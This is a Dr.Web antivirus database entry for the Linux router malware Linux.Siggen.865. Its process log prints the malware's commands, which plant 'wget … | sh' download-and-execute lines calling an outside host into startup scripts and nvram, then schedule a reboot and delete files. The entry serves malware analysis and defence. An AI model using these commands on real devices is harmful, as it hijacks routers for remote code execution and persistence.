Для корректной работы нашего сайта необходимо включить поддержку JavaScript в вашем браузере.
Linux.Siggen.865
Добавлен в вирусную базу Dr.Web:
2018-08-30
Описание добавлено:
2018-08-29
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/etc/init.d/rcS.bak
/etc/init.d/rcS
/etc/persistent/rc.poststart
Malicious functions:
Launches itself as a daemon
Modifies router settings:
Launches processes:
sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
cat /etc/init.d/rcS
grep -v wget
sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
cat /etc/init.d/rcS.bak
sh -c rm -rf /etc/init.d/rcS.bak
rm -rf /etc/init.d/rcS.bak
sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
sh -c nvram commit > /dev/null 2>&1
sh -c ( echo \"sleep 120 && wget -q -O - http://fkd.derpcity.ru/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1
sh -c chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1
chmod 755 /etc/persistent/rc.poststart
sh -c cfgmtd -w -p /etc/ > /dev/null 2>&1
sh -c ( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1
sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
sleep 432000
sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
rm -rf /var/run/wgsh
rm -rf /var/run/bbsh
sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
rm -rf /var/run/tty1
sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
rm -rf /var/run/tty2
rm -rf /var/run/tty3
sh -c rm -rf /var/run/tty4 > /dev/null 2>&1 &
rm -rf /var/run/tty4
sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
sh -c rm -rf /var/run/tty6 > /dev/null 2>&1 &
sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &
rm -rf /var/run/tty6
sh -c rm -rf /tmp/tty2 > /dev/null 2>&1 &
rm -rf /tmp/tty1
rm -rf /tmp/tty2
sh -c rm -rf /tmp/tty3 > /dev/null 2>&1 &
sh -c rm -rf /tmp/tty4 > /dev/null 2>&1 &
rm -rf /tmp/tty3
Performs operations with the file system:
Deletes files:
/etc/init.d/rcS.bak
/var/run/wgsh
/var/run/bbsh
/var/run/tty1
/var/run/tty2
/var/run/tty3
/var/run/tty4
/var/run/tty6
/tmp/tty1
/tmp/tty2
/tmp/tty3
Network activity:
Awaits incoming connections on ports:
Рекомендации по лечению
Linux
Демо бесплатно
На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)
Скачайте Dr.Web для Android
Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через AppGallery/Google Pay
Если Вы продолжите использование данного сайта, это означает, что Вы даете согласие на использование нами Cookie-файлов и иных технологий по сбору статистических сведений о посетителях. Подробнее
OK